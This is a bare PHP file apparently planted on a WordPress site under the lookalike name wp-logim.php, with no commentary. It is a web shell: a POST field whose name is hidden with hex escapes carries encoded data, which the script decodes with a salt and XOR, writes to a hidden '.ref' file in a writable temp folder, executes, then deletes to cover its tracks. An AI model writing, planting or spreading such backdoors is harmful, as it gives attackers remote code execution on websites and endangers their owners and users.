/home/idolaotomotif/idolatekno.com/wp-logim.php
<?php
if(in_array("ma\x72\x6B\x65r", array_keys($_POST))){
$itm = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP")]);
$holder = $_POST["ma\x72\x6B\x65r"];
$holder =explode( '.' , $holder ) ;
$bind='';
$salt='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS=strlen($salt);
$i=0;
array_walk($holder, function ($val) use (&$bind, &$i, $salt, $lenS) {
$sChar=ord($salt[$i % $lenS]);
$dec=((int)$val - $sChar - ($i % 10)) ^ 15;
$bind .= chr($dec);
$i++;
});
$desc = 0;
do {
$obj = $itm[$desc] ?? null;
if ($desc >= count(itm)) break;
if (!( !is_dir($obj) || !is_writable($obj) )) {
$pgrp = "$obj" . "/.ref";
if (file_put_contents($pgrp, $bind)) {
include $pgrp;
@unlink($pgrp);
die();
}
}
$desc++;
} while (true);
}